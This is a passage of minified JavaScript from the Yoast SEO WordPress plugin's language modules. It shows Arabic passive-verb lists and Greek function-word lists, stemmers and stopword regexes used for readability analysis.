n}}(e,t);if(i){if(!0===i.rootFound)return i.word;e=i.word}const c=re(e,t);if(c)return c.word;const a=ne(e,t);return a?a.word:e}(e,t):se}const ce=["غودرت","غودر","غودرتما","غودرا","غودرتا","غودرنا","غودرتم","غودرتنّ","غودروا","غودرن","مغادر","محثوث","تجرى","يجرى","مجرى","تبقى","يبقى","مبقى","تجوهلت","تجوهل","تجوهلت","تجوهلتما","تجوهلا","تجوهلتا","تجوهلنا","تجوهلتم","تجوهلتنّ","تجوهلوا","تجوهلن","متجاهل","تشوورت","تشوور","تشوورتما","تشوورا","تشوورتا","تشوورنا","تشوورتم","تشوورتنّ","تشووروا","تشوورن","متشاور","نوقشت","نوقش","نوقشتما","نوقشا","نوقشتا","نوقشنا","نوقشتم","نوقشتنّ","نوقشوا","نوقشن","مناقش","معود","ترتدى","يرتدى","نرتدى","مرتدى","تنتهى","ينتهى","ننتهى","تجووزت","تجووز","تجووزتما","تجووزا","تجووزتا","تجووزنا","تجووزتم","تجووزتنّ","تجووزوا","تجووزن","حوولت","حوول","حوولتما","حوولا","حوولتا","حوولنا","حوولتم","حوولتنّ","حوولوا","حوولن","تعولجت","تعولج","تعولجتما","تعولجا","تعولجتا","تعولجنا","تعولجتم","تعولجتنّ","تعولجوا","تعولجن","متعالج","أشير","أشيرا","أشيرتا","أشيروا","تشار","تشارين","يشار","تشاران","يشاران","نشار","تشارون","يشارون","جيء","جيئت","جيئا","جيئتا","جيئوا","أجاء","تجاء","تجائين","يجاء","تجاءان","يجاءان","نجاء","تجائون","تجأن","يجائون","يجأن","يوصى","توصى","نوصى","موصى","احتيج","احتيجت","احتيجا","احتيجتا","احتيجوا","تعطى","يعطى","نعطى","معطى","تعوليت","تعولي","تعوليتما","تعوليا","تعوليتا","تعولينا","تعوليتم","تعوليتنّ","تعولوا","تعولين"," شوركت","شورك","شوركتما","شوركا","شوركتا","شوركنا","شوركتم","شوركتنّ","شوركوا","شوركن","تتولّى","يتولّى","نتولّى","زيد","زيدت","زيدا","زيدتا","زيدوا","أزاد","تزاد","تزادين","يزاد","تزادان","يزادان","نزاد","تزادون","يزادون","سوعدت","سوعد","سوعدتما","سوعدا","سوعدتا","سوعدنا","سوعدتم","سوعدتنّ","سوعدوا","سوعدن","رئيت","رئي","رئيتما","رئيا","رئيتا","رئينا","رئيتم","رئيتنّ","رؤوا","رئين","تفووضت","تفووض","تفووضتما","تفووضا","تفووضتا","تفووضنا","تفووضتم","تفووضتنّ","تفووضوا","تفووضن","تزويدت","تزويد","تزويدتما","تزويدا","تزويدتا","تزويدنا","تزويدتم","تزويدتنّ","تزويدوا","تزويدن","تتلقّى","يتلقّى","نتلقّى","لوحظت","لوحظ","لوحظتما","لوحظا","لوحظتا","لوحظنا","لوحظتم","لوحظتنّ","لوحظوا","لوحظن","تسعى","يسعى","نسعى","أوتيت","أوتي","أوتيتما","أوتيا","أوتيتا","أوتينا","أوتيتم","أوتيتنّ","أوتوا","أوتين","ووفقت","ووفق","ووفقتما","ووفقا","ووفقتا","ووفقنا","ووفقتم","ووفقتنّ","ووفقوا","ووفقن","إين","إينت","إينا","إينتا","إينوا","أؤان","تؤان","تؤانين","يؤان","تؤانان","يؤانان","نؤان","تؤانون","يؤانون","أوخذت","أوخذ","أوخذتما","أوخذا","أوخذتا","أوخذنا","أوخذتم","أوخذتنّ","أوخذوا","أوخذن","لهيت","لهي","لهيتما","لهيا","لهيتا","لهينا","لهيتم","لهيتم","لهوا","لهين","ألهى","تلهى","يلهى","تلهى","تلهيان","يلهيان","نلهى","يلهين","تتبقّى","يتبقّى","نتبقّى","تنوولت","تنوول","تنوولتما","تنوولا","تنوولتا","تنوولنا","تنوولتم","تنوولتنّ","تنوولوا","تنوولن","تووجهت","تووجه","تووجهتما","تووجها","تووجهتا","تووجهنا","تووجهتم","تووجهتنّ","تووجهوا","تووجهن","تبودلت","تبودل","تبودلتما","تبودلا","تبودلتا","تبودلنا","تبودلتم","تبودلتم","تبودلوا","تبودلن","تعورضت","تعورض","تعورضتما","تعورضا","تعورضتا","تعورضنا","تعورضتم","تعورضتنّ","تعورضوا","تعورضن","تعورضن","تعنى","يعنى","نعنى","طولبت","طولب","طولبتما","طولبا","طولبتا","طولبنا","طولبتم","طولبتنّ","طولبوا","طولبن","قيم","قيمت","قيما","قيمتا","قيموا","أقام","تقام","تقامين","يقام","تقامان","يقامان","نقام","تقامون","يقامون","أنشئت","أنشئ","أنشئتما","أنشئا","أنشئتا","أنشئنا","أنشئتم","أنشئتنّ","أنشئوا","أنشئن","تنشأ","تنشئين","ينشأ","تنشآن","ينشآن","ننشأ","تنشأون","ينشأون","ينشأن","تنشأن","غطّي","تغطّى","يغطّى","نغطّى","قوتلت","قوتل","قوتلتما","قوتلا","قوتلتا","قوتلنا","قوتلنا","قوتلتنّ","قوتلوا","قوتلن","أسمى","تسمى","يسمى","نسمى","أوثرت","أوثر","أوثرتما","أوثرا","أوثرتا","أوثرنا","أوثرتم","أوثرتنّ","أوثروا","أوثرن","غنّي","أغنّى","تغنّى","يغنّى","نغنّى","استفيد","استفيدت","استفيدا","استفيدتا","استفيدوا","أستفاد","تستفاد","تستفادين","يستفاد","تستفادان","يستفادان","نستفاد","تستفادون","يستفادون","أثير","أثيرت","أثيرا","أثيرا","أثيروا","أثار","تثار","تثارين","يثار","تثاران","يثاران","نثار","تثارون","يثارون","تدّعى","يدّعى","ندّعى","عيش","عيشت","عيشا","عيشتا","عيشوا","أعاش","تعاش","تعاشين","يعاش","تعاشان","يعاشان","نعاش","تعاشون","يعاشون","ووجهت","ووجه","ووجهتما","ووجها","ووجهتا","ووجهنا","ووجهتم","ووجهتنّ","ووجهوا","ووجهن","دعيت","دعي","دعيا","دعيتا","دعينا","دعيتم","دعيتنّ","دعوا","دعين","أدعى","تدعى","تدعين","تدعين","تدعيان","يدعيان","يدعين","اختير","اختيرت","اختيرا","اختيرتا","اختيروا","اخترن","شوهدت","شوهد","شوهدتما","شوهدا","شوهدتا","شوهدنا","شوهدتم","شوهدتنّ","شوهدوا","شوهدن","أدّي","أؤدّى","تؤدّى","يؤدّى","نؤدّى","أفيدت","أفيدا","أفيدتا","أفيدوا","يفادون","تفادون","نفاد","تفادان","يفادان","تفاد","يفاد","تفادين","أفاد","تكوملت","تكومل","تكوملتما","تكوملا","تكوملتا","تكوملنا","تكوملتم","تكوملتنّ","تكوملوا","تكوملن","أهنّئ","تهنّئ","تهنّئين","يهنّئ","يهنّئ","يهنّئان","تهنّئان","نهنّئ","تهنّئون","تهنّئن","هنّئوا","هنّئن","أهنّأ","تهنّأ","يهنّأ","تهنّآن","نهنّأ","تهنّأون","تهنّأن","يهنّأون","يهنّأن","سوهمت","سوهم","سوهمتما","سوهما","سوهمتا","سوهمنا","سوهمتم","سوهمتنّ","سوهموا","سوهمن","أرمى","ترمى","يرمى","نرمى","أبلغت"],{getWords:ae}=r.languageProcessing;function ue(e){const t=ae(e),r=[];for(let e of t){e.startsWith("و")&&(e=e.slice(1));let t=-1;e.length>=2&&(t=e[1].search("ُ")),(-1!==t||ce.includes(e))&&r.push(e)}return 0!==r.length}const{AbstractResearcher:le}=r.languageProcessing;class de extends le{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"ar",passiveConstructionType:"morphological",firstWordExceptions:n,functionWords:Y,transitionWords:s,twoPartTransitionWords:B,prefixedFunctionWordsRegex:q}),Object.assign(this.helpers,{createBasicWordForms:G,getStemmer:ie,isPassiveSentence:ue})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/el.js000064400000105547147510273070013665 0ustar00(()=>{"use strict";var e={d:(t,r)=>{for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>C});const r=window.yoast.analysis,n={firstWords:["o","του","τον ","ο","των","τους","η","της","την","τις","το","τα","ένας","ενός","έναν","μία","μίας","μία","ένα","μια","μιας","μια","ένα","δύο","τρία","τέσσερα","πέντε ","έξι","επτά","εφτά","οκτώ","οχτώ","εννέα","εννιά","δέκα","αυτός","αυτού","αυτόν","αυτοί","αυτών","αυτούς","αυτή","αυτής","αυτή","αυτό","αυτά","εκείνος","εκείνου","εκείνον","εκείνοι","εκείνων","εκείνη","εκείνης","εκείνη","εκείνες","εκείνο","εκείνα","τέτοιος","τέτοιου","τέτοιον","τέτοιοι","τέτοιων","τέτοιους","τέτοια","τέτοιας","τέτοιαν","τέτοιες","τέτοιο","τέτοια","τόσος","τόσου","τόσον","τόσοι","τόσων","τόσους","τόση","τόσης","τόσες","τόσο","τόσα","τούτος","τούτου","τούτον","τούτοι","τούτων","τούτους","τούτη ","τούτης","τούτην ","τούτες","τούτο","τούτα","εδώ","εκεί"],secondWords:["o","του","τον ","ο","των","τους","η","της","την","τις","το","τα","που","τον","οι"]},s=["εξαιτίας","επειδή","γιατί","διότι","καθώς","ώστε","λοιπόν","αλλά","μα","όμως ","παρά","μόνο","μόλο","ωστόσο","εντούτοις","έπειτα","μολαταύτα","μάλιστα","εξάλλου","αντίθετα","απεναντίας","διαφορετικά","ειδάλλως ","ειδεμή","αλλιώς ","αλλιώτικα","πάλι","ενώ","μολονότι","αντίστροφα","αρχικά","προγουμένως","πρώτα","ύστερα","πριν","εντωμεταξύ","τέλος","όταν","καθ΄ψς","όποτε","μόλις","αργότερα","αν","δηλαδή","ειδικότερα","ήτοι","συγκεκριμένα","ειδικά","καταρχήν","κατόπιν","πρωταρχικα","συγκεφαλαιωτικά","συγκεφαλαιώνοντας","συγκεντρωτικά","συνοπτικά","επιλογικά","ανακεφαλαιώνοντας","τελικά","γενικά","ευρύτερα","επιπλέον","επιπρόσθετα","επίσης","ακόμη","πρόσθετα","όπως","ομοίως","σαν","επομένως","συνεπώς","πράγματι","βέβαια","όντως","αφού","αφότου","καταρχάς","ακολούθως","εφόσον","κυρίως","φυσικά","ασφαλώς","οπωσδήποτε","αναντίρρητα","προφανώς"],g=s.concat(["παρόλο που","ένας ακόμα λόγος","αυτό οφείλεται","αυτό εξηγείται","αυτό δικαιλογείται","η αιτία είναι","ο λόγος είναι","γι'αυτό τον λόγο","παρόλα ταύτα","ως επακόλουθο","ως αποτέλεσμα","κατά συνέπεια","έτσι που","και όμως","και γι'αυτό","σε αντίθεση","από την άλλη πλευρά","αν και","και αν","στον αντίποδα","ακόμη κι αν","παρ'όλα αυτά","στη συνέχεια","είναι γεγονός ότι","αξίζει να σημειωθεί","με άλλα λόγια","αυτό σημαίνει ότι","για παράδειγμα","παραδείγματος χάριν","λόγου χάριν","σε περίπτωση που","εκτός κι αν","εξαιτίας αυτού","με τον ίδιο τρόπο","με παρόμοιο τρόπο","με την προϋπόθεση να","υπό τον όρο να","εν κατακλείδι ","χάρη σε αυτό","από την στιγμή που","έχει μεγάλη σημασία να","είναι απαραίτητο να","είναι αναγκαίο να","είναι αξιοσημείωτο","στο μεταξύ","στην αρχή","με δεδομένο"]),o=[["όχι μόνο","αλλά και"],["όχι μόνο να μην","αλλά ούτε και να"],["από την μία","από την άλλη"],["αφενός","αφετέρου"],["μεν","δε"],["είτε","είτε"]],l=function(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}([].concat(["μιανής","στους","στον","στου","στην","στης","ένας","ενός","έναν","μίας","μιάς","την","του","τον","των","τις","της","στο","στα","μία","μια","ένα","το","η ","τα","οι","τη","ο"],["ένα","δύο ","τρία ","τέσσερα","πέντε","έξι","εφτά","οχτώ","εννιά","οκτώ","εννέα","δέκα","εκατό","χίλια","εκατομμύριο","εκατομμύρια","δισεκατομμύριο","δισεκατομμύρια","έντεκα","ένδεκα","δώδεκα","δεκατρία","δεκατέσσερα","δεκαπέντε","δεκαέξι","δεκαεπτά","δεκαοκτώ","δεκαεννέα","είκοσι"],["πρώτος","δεύτερος","τρίτος","τέταρτος","πέμπτος","έκτος","έβδομος","όγδοος","ένατος","δέκατος","πρώτη","δεύτερη","τρίτη","τέταρτη","πέμπτη","έκτη","έβδομη","όγδοη","ένατη","δέκατη","πρώτο ","δεύτερο","τρίτο","τέταρτο","πέμπτο","έκτο","έβδομο","όγδοο","ένατο","δέκατο","διπλάσιος","διπλάσια","διπλάσιο","τριπλάσιος","τριπλάσια","τριπλάσιο","διπλός","διπλή","τριπλός","τριπλή","χίλιοι","χίλιες","εκατοντάδες","χιλιάδες"],["μισός","μισή","μισό","τέταρτο","τρίτο","ολόκληρο","ολόκληρος"],["εγώ","εσύ","αυτός","αυτή","αυτό","εμείς","εσείς","αυτοί","αυτές","αυτά","αυτούς","εμένα","εσένα","αυτών","μένα","σένα","εμάς","εσάς","μου","σου","μας","σας","με","σε"],["τέτοιους","εκείνος","εκείνου","εκείνον","εκείνοι","εκείνων","εκείνης","εκείνες","τέτοιος","τέτοιου","τέτοιον","τέτοιοι","τέτοιων","τέτοιας","τέτοιαν","τέτοιες","τούτους","τούτην ","εκείνη","εκείνη","εκείνο","εκείνα","τέτοια","τέτοιο","τέτοια","τόσους","τούτος","τούτου","τούτον","τούτοι","τούτων","τούτη ","τούτης","τούτες","αυτού","αυτόν","αυτής","τόσος","τόσου","τόσον","τόσοι","τόσων","τόσης","τόσες","τούτο","τούτα","τόση","τόσο","τόσα","εκεί","εδώ"],["ποιανού","ποιανής","ποιανών","ποιους","πόσους","ποιος","ποιου","ποιον","ποιας","πόσος","πόσου","πόσον","πόσης","ποιοι","ποιων","ποιες","πόσοι","πόσων","πόσες","ποια","ποιο","πόση","πόσα","τί","τι"],["πώς","πού","πόσο","πότε"],["περισσότερο","λιγότερο","ελάχιστα","καθόλου","αρκετά","εξίσου","κάπως","τόσο ","πολύ","τόσο","πιο","όσο"],["εαυτός","εαυτού","εαυτό","εαυτούς"],["δικός","δικού","δικό","δική","δικής","τους","δικοί","δικών","δικούς","δικές","δικά"],["κάμποσου","κάμποσον","κάμποση","κάμποσης ","κάμποσο","τίποτε","καθένας","καθενός","καθένα ","καθεμία","καθεμιά","καθεμίας","καθεμιάς","καθέναν","δείνα","τάδε","μερικοί","μερικών","μερικούς","μερικές","μερικά","κάποιοι","κάποιων","κάποιους","κάποιες","κάποια","άλλοι","άλλων","αλλονών","άλλους","άλλες","άλλα","κάμποσοι","κάμποσων","κάμποσες","κάμποσα"],["σε","με","από","για","ως","πριν","προς","σαν","αντί","δίχως","έως","κατά","μετά","μέχρι","χωρίς","παρά","εναντίον","εξαιτίας","μεταξύ","ίσαμε","άνευ","αμφί","ανά","διά","εκ","εις","εξ","εκτός","εν","ένεκα","εντός","επί","λόγω","περί","πρό","συν","υπέρ","υπό","χάριν","χάρη"],["δεν","θα","δεν","μη","μην","όχι","ναι","ας","για","μα"],["να","και","που","ότι","αν","αλλά","ούτε","ουδέ","μηδέ","μήτε","ή","είτε","μα","παρά","όμως","ωστόσο","ενώ","μολονότι","μόνο","μόνο που","λοιπόν","ώστε","άρα","επομένως","οπότε","δηλαδή","πως","μην","μήπως","άμα","όταν","καθώς","αφού","αφότου","πριν","μόλις","προτού","ώσπου","ωσότου","σαν","γιατί","επειδή"],["συνηθίζεται","μπορούσαμε","ενδέχεται","εξαρτάται","εννοείται","παίρνουμε","είθισται","μπορούμε","μπορείτε","υπάρχουν","παίρνεις","παίρνετε","παίρνουν","βασικούς","μπορούμε","είμαστε","είσαστε","υπάρχει","μπορείς","μπορούν","κάνουμε","υπήρχαν","γίνεται","γινόταν","παίρνει","βάζουμε","δίνουμε","μπορεί","παίρνω","πρέπει","έχουμε","πήγαμε","πήγατε","κάνεις","κάνετε","κάνουν","έκανες","κάναμε","κάνατε","έκαναν","υπήρχε","πήραμε","πήρατε","πήρανε","ρίχνει","φάγαμε","βάζεις","βάζετε","βάζουν","έβαλες","βάλαμε","βάλατε","έβαλαν","βάλανε","δίνεις","δίνεις","δίνετε","δίνουν","έδωσες","έδωσες","δώσαμε","δώσατε","έδωσαν","δώσανε","έδινες","δίναμε","δίνατε","δίνανε","έδιναν","είχαμε","είχατε","είναι","είμαι","είσαι","είστε","ρίχνω","μπορώ","πήγες","πήγαν","κάνει","έκανα","έκανε","πήρες","πήραν","έριξα","έριξε","τρώει","τρώμε","έφαγε","βάζει","έβαλα","έβαλε","έδωσα","έδινα","έδινε","έχεις","έχετε","έχουν","είχες","είχαν","κάνω","τρώω","βάζω","δίνω","πάμε","πάει","πάμε","πάτε","πάνε","πήγα","πήγε","πήρε","έχει","είχα","είχε","πάω","έχω","πας"],["πολύ","παρά ","παρα","απίστευτα","εκπληκτικά","αναπάντεχα","αφάνταστα","πραγματικά","εντελώς","απόλυτα","καθολικά","τελείως"],["συνηθίζεται","ενδέχεται","εξαρτάται","εννοείται","είθισται","είμαστε","είσαστε","υπάρχει","μπορεί","παίρνω","πρέπει","έχουμε","είναι","είμαι","είσαι","είστε","ρίχνω","μπορώ","κάνω","τρώω","βάζω","δίνω","πάμε","πάω","έχω"],["καλός","καλά","καλή","καλύτερος","καλύτερη","σοβαρά","ωραίος","ωραία","ωραίο","απλός","απλή","απλό","περίπλοκος","περίπλοκη","περίπλοκο","μεγάλο","μεγαλύτερος","βασική","βασικός","βασικό","ουσιαστικός","κανονικός","κανονική","κανονικό","άσχημο","τρομερό","απαίσιο","αδιανόητο","μέσος","πραγματικός","πραγματική","πραγματικό","πρώην","σπάνιος","σπάνια","συνηθισμένος ","συνηθισμένη","συνηθισμένο","σχετικός","σχετική","σχετικό","καλύτερα","τέλεια","υπέροχα","έντονα","παραλίγο","απλά","κυρίως","συνήθως","ευθέως","συνεχώς","αδιάκοπα","ασταμάτητα","ατελείωτα","ατέρμονα","βασικά","ουσιαστικά","κανονικά","άσχημα","εντάξει","τελικά","φυσικά","μπροστά","πίσω","επάνω","κάτω","ευτυχώς","δυστυχώς","ξαφνικά","ειλικρινά","απροσδόκητα","απότομα","ανάμεσα","κοντά","σιμά","μακριά","δίπλα","σχετικά"],["α","αα","αχ","αι","αλί","αλίμονο","αμάν","αμέ","αμποτε","άιντε","άντε","άου","άχου","αχού","βαχ","βουρ ","βρε","ε","ει","εμ","επ","ζήτω","εύγε","μμμ","μπα","μπαμ","μπράβο","μωρέ","μωρή","ω","ου","ούου","ουστ","οιμέ","οϊμέ","ωπ","οπ","πωπω","ποπο","απαπα","ουφ","ώπα","ώπατης","όπα","όπατης","ωχ","οχ","όχου","ώχου","όφου","ποπό","πωπώ","πουφ","πριτς","πφ","ρε","σουτ","τσου","τσα","φτου","χα","χαχαχα","χμ","ωω","ωωω","ωχού","ουάου"],["γραμ.","γραμμ.","γραμμάρια","κ/γ","κ.γ.","κ.σ.","γρ.","ματσ.","κιλό","φλ.","φλυτζάνι","κούπα","ποτ.","ποτήρι","σκ.","ξύσμα","φλούδα","λίτρο","λίτρα"],["δευτερόλεπτο","δευτερόλεπτα","δεύτερα","ώρα","ώρας","τέταρτο","μισάωρο","ώρες","μέρα","μέρας","μέρες","ημέρα","ημέρες","σήμερα","αύριο","εχθές","χθές","βδομάδα","βδομάδες","βδομάδας","εβδομάδα","εβδομάδες","μισαωράκι","τεταρτάκι","δεκάλεπτο","πεντάλεπτο","φέτος","πέρσι","χρόνος","πέρυσι","χρόνου","πρόπερσι","προχθές"],["πράγμα","πράγματα","υπόθεση","περίπτωση","πρόβλημα","προβλήματα","αντικείμενο","αντικείμενα","θέμα","θέματα","περίσταση","συνθήκες","περιστάσεις","ζήτημα","ζητήματα","ζητημάτων","υποθέσεις","γεγονός","γεγονότα","κατάσταση","καταστάσεις","ουσία","τρόπος","μέθοδος","παράγοντας","παράγοντες","αιτία","επίπτωση","αιτίες","επιπτώσεις","μέρος","μέρη","άποψη","απόψεις","γνώμη","γνώμες","άτομο","άτομα","ομάδα","πραγματικότητα","διαφορά","διαφορές","ομοιότητες"],["δεσποινίς","καθηγητής","διδάκτωρ","κύριος","κύριοι","κυρίες","καθηγ","κυρία","διδα","καθ","κος","δρ","κα"],s)),c=window.lodash;function x(e,t,r,n){let s;for(let g=0;g<t.length;g++)null!==(s=new RegExp(t[g]).exec(e))&&(e=s[1],new RegExp(r[g]).test(e)&&(e+=n[g]));return e}function a(e,t){let r;return null!==(r=new RegExp(t).exec(e))&&(e=r[1]),e}function i(e,t,r,n,s){let g;return null!==(g=new RegExp(t).exec(e))&&(e=g[1],(new RegExp(r).test(e)||new RegExp(n).test(e))&&(e+=s)),e}const{baseStemmer:p}=r.languageProcessing;function u(e){const t=(0,c.get)(e.getData("morphology"),"el",!1);return t?e=>function(e,t){const r=e=(e=e.replace(/[ΆΑά]/g,"α").replace(/[ΈΕέ]/g,"ε").replace(/[ΉΗή]/g,"η").replace(/[ΊΪΙίΐϊ]/g,"ι").replace(/[ΌΟό]/g,"ο").replace(/[ΎΫΥύΰϋ]/g,"υ").replace(/[ΏΩώ]/g,"ω").replace(/[Σς]/g,"σ")).toLocaleUpperCase("el"),n=t.externalStemmer.doNotStemWords;if(e.length<3||n.includes(e))return e.toLocaleLowerCase("el");e=function(e,t){const r=t.externalStemmer.step1Exceptions,n=new RegExp("(.*)("+Object.keys(r).join("|")+")$").exec(e);return null!==n&&(e=n[1]+r[n[2]]),e}(e,t),e=function(e,t){const r=t.externalStemmer.regexesStep1,n=r.regexesArrays;let s;return null!==(s=new RegExp(r.regex1a).exec(e))&&(e=s[1],new RegExp(r.regex1b).test(e)||(e+="ΑΔ")),x(e,n[0],n[1],n[2])}(e,t),e=function(e,t){const r=t.externalStemmer.regexesStep2,n=new RegExp(t.externalStemmer.vowelRegex1);let s;return null!==(s=new RegExp(r.regex2a).exec(e))&&s[1].length>4&&(e=s[1]),null!==(s=new RegExp(r.regex2b).exec(e))&&(e=s[1],(n.test(e)||e.length<2||new RegExp(r.regex2c).test(s[1]))&&(e+="Ι"),new RegExp(r.regex2d).test(s[1])&&(e+="ΑΙ")),e}(e,t),e=function(e,t){const r=new RegExp(t.externalStemmer.vowelRegex1),n=t.externalStemmer.regexesStep3;let s;return null!==(s=new RegExp(n.regex3a).exec(e))&&(e=s[1],(r.test(e)||new RegExp(n.regex3b).test(e)||new RegExp(n.regex3c).test(e))&&(e+="ΙΚ")),e}(e,t),e=function(e,t){const r=t.externalStemmer.regexesStep4,n=r.regexesArrays,s=t.externalStemmer.vowelRegex1,g=t.externalStemmer.vowelRegex2;let o;return"ΑΓΑΜΕ"===e?"ΑΓΑΜ":(e=a(e,r.regex4a),e=a(e=i(e=x(e,n.arrays1[0],n.arrays1[1],n.arrays1[2]),r.regex4b,g,r.regex4c,"ΑΝ"),r.regex4d),null!==(o=new RegExp(r.regex4e).exec(e))&&(e=o[1],(new RegExp(g).test(e)||new RegExp(r.regex4f).test(e)||new RegExp(r.regex4g).test(e))&&(e+="ΕΤ")),null!==(o=new RegExp(r.regex4h).exec(e))&&(e=o[1],new RegExp(r.regex4i).test(o[1])?e+="ΟΝΤ":new RegExp(r.regex4j).test(o[1])&&(e+="ΩΝΤ")),e=i(e=a(e=x(e,n.arrays2[0],n.arrays2[1],n.arrays2[2]),r.regex4k),r.regex4l,r.regex4m,r.regex4n,"ΗΚ"),null!==(o=new RegExp(r.regex4o).exec(e))&&(e=o[1],(new RegExp(s).test(e)||new RegExp(r.regex4p).test(o[1])||new RegExp(r.regex4q).test(o[1]))&&(e+="ΟΥΣ")),null!==(o=new RegExp(r.regex4r).exec(e))&&(e=o[1],(new RegExp(r.regex4s).test(e)||new RegExp(r.regex4t).test(e)&&!new RegExp(r.regex4u).test(e))&&(e+="ΑΓ")),e=x(e,n.arrays3[0],n.arrays3[1],n.arrays3[2]))}(e,t),e=function(e,t){const r=t.externalStemmer.regexesStep5;let n;return null!==(n=new RegExp(r.regex5a).exec(e))&&(e=n[1]+"Μ",new RegExp(r.regex5b).test(n[1])?e+="Α":new RegExp(r.regex5c).test(n[1])&&(e+="ΑΤ")),null!==(n=new RegExp(r.regex5d).exec(e))&&(e=n[1]+"ΟΥ"),e}(e,t);const s=t.externalStemmer.longWordRegex;return r.length===e.length&&(e=a(e,s)),e=function(e,t){const r=t.externalStemmer.regexesStep6;let n;return null!==(n=new RegExp(r.regex6a).exec(e))&&(new RegExp(r.regex6b).test(n[1])||(e=n[1]),new RegExp(r.regex6c).test(n[1])&&(e+="ΥΤ")),e}(e,t),e.toLocaleLowerCase("el")}(e,t):p}const{getWords:w}=r.languageProcessing,{values:R}=r.languageProcessing,{Clause:d}=R,{getClausesSplitOnStopWords:E,createRegexFromArray:f}=r.languageProcessing,m={Clause:class extends d{constructor(e,t){super(e,t),this._participles=function(e){return w(e).filter((e=>new RegExp("(ούμενους|ημένους|ούμενος|ούμενου|ούμενον|ούμενης|ούμενοι|ούμενων|ούμενες|μένους|ημένος|ημένου|ημένον|ημένοι|ημένων|ημένης|ημένες|ούμενη|ούμενο|ούμενα|μένος|μένου|μένον|μένοι|μένης|μένες|μένων|ημένη|ημένο|ημένα|μένη|μένο|μένα)$").test(e)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getParticiples();this.setPassive(e.length>0)}},regexes:{auxiliaryRegex:f(["είμαι","είσαι","είναι","είμαστε","είστε","είσαστε","ήμουν","ήσουν","ήταν","ήμαστε","ήμασταν","ήσαστε","ήσασταν"]),stopwordRegex:f(["ένα","έναν","ένας","αι","ακομα","ακομη","ακριβως","αληθεια","αληθινα","αλλα","αλλαχου","αλλες","αλλη","αλλην","αλλης","αλλιως","αλλιωτικα","αλλο","αλλοι","αλλοιως","αλλοιωτικα","αλλον","αλλος","αλλοτε","αλλου","αλλους","αλλων","αμα","αμεσα","αμεσως","αν","ανα","αναμεσα","αναμεταξυ","ανευ","αντι","αντιπερα","αντις","ανω","ανωτερω","αξαφνα","απ","απεναντι","απο","αποψε","από","αρα","αραγε","αργα","αργοτερο","αριστερα","αρκετα","αρχικα","ας","αυριο","αυτα","αυτες","αυτεσ","αυτη","αυτην","αυτης","αυτο","αυτοι","αυτον","αυτος","αυτοσ","αυτου","αυτους","αυτουσ","αυτων","αφοτου","αφου","αἱ","αἳ","αἵ","αὐτόσ","αὐτὸς","αὖ","α∆ιακοπα","βεβαια","βεβαιοτατα","γάρ","γα","γα^","γε","γι","για","γοῦν","γρηγορα","γυρω","γὰρ","δ'","δέ","δή","δαί","δαίσ","δαὶ","δαὶς","δε","δεν","δι","δι'","διά","δια","διὰ","δὲ","δὴ","δ’","εαν","εαυτο","εαυτον","εαυτου","εαυτους","εαυτων","εγκαιρα","εγκαιρως","εγω","ειθε","ειμαι","ειμαστε","ειναι","εις","εισαι","εισαστε","ειστε","ειτε","ειχα","ειχαμε","ειχαν","ειχατε","ειχε","ειχες","ει∆εμη","εκ","εκαστα","εκαστες","εκαστη","εκαστην","εκαστης","εκαστο","εκαστοι","εκαστον","εκαστος","εκαστου","εκαστους","εκαστων","εκει","εκεινα","εκεινες","εκεινεσ","εκεινη","εκεινην","εκεινης","εκεινο","εκεινοι","εκεινον","εκεινος","εκεινοσ","εκεινου","εκεινους","εκεινουσ","εκεινων","εκτος","εμας","εμεις","εμενα","εμπρος","εν","ενα","εναν","ενας","ενος","εντελως","εντος","εντωμεταξυ","ενω","ενός","εξ","εξαφνα","εξης","εξισου","εξω","επ","επί","επανω","επειτα","επει∆η","επι","επισης","επομενως","εσας","εσεις","εσενα","εστω","εσυ","ετερα","ετεραι","ετερας","ετερες","ετερη","ετερης","ετερο","ετεροι","ετερον","ετερος","ετερου","ετερους","ετερων","ετουτα","ετουτες","ετουτη","ετουτην","ετουτης","ετουτο","ετουτοι","ετουτον","ετουτος","ετουτου","ετουτους","ετουτων","ετσι","ευγε","ευθυς","ευτυχως","εφεξης","εχει","εχεις","εχετε","εχθες","εχομε","εχουμε","εχουν","εχτες","εχω","εως","εἰ","εἰμί","εἰμὶ","εἰς","εἰσ","εἴ","εἴμι","εἴτε","ε∆ω","η","ημασταν","ημαστε","ημουν","ησασταν","ησαστε","ησουν","ηταν","ητανε","ητοι","ηττον","η∆η","θα","ι","ιι","ιιι","ισαμε","ισια","ισως","ισωσ","ι∆ια","ι∆ιαν","ι∆ιας","ι∆ιες","ι∆ιο","ι∆ιοι","ι∆ιον","ι∆ιος","ι∆ιου","ι∆ιους","ι∆ιων","ι∆ιως","κ","καί","καίτοι","καθ","καθε","καθεμια","καθεμιας","καθενα","καθενας","καθενος","καθετι","καθολου","καθως","και","κακα","κακως","καλα","καλως","καμια","καμιαν","καμιας","καμποσα","καμποσες","καμποση","καμποσην","καμποσης","καμποσο","καμποσοι","καμποσον","καμποσος","καμποσου","καμποσους","καμποσων","κανεις","κανεν","κανενα","κανεναν","κανενας","κανενος","καποια","καποιαν","καποιας","καποιες","καποιο","καποιοι","καποιον","καποιος","καποιου","καποιους","καποιων","καποτε","καπου","καπως","κατ","κατά","κατα","κατι","κατιτι","κατοπιν","κατω","κατὰ","καὶ","κι","κιολας","κλπ","κοντα","κτλ","κυριως","κἀν","κἂν","λιγακι","λιγο","λιγωτερο","λογω","λοιπα","λοιπον","μέν","μέσα","μή","μήτε","μία","μα","μαζι","μακαρι","μακρυα","μαλιστα","μαλλον","μας","με","μεθ","μεθαυριο","μειον","μελει","μελλεται","μεμιας","μεν","μερικα","μερικες","μερικοι","μερικους","μερικων","μεσα","μετ","μετά","μετα","μεταξυ","μετὰ","μεχρι","μη","μην","μηπως","μητε","μη∆ε","μιά","μια","μιαν","μιας","μολις","μολονοτι","μοναχα","μονες","μονη","μονην","μονης","μονο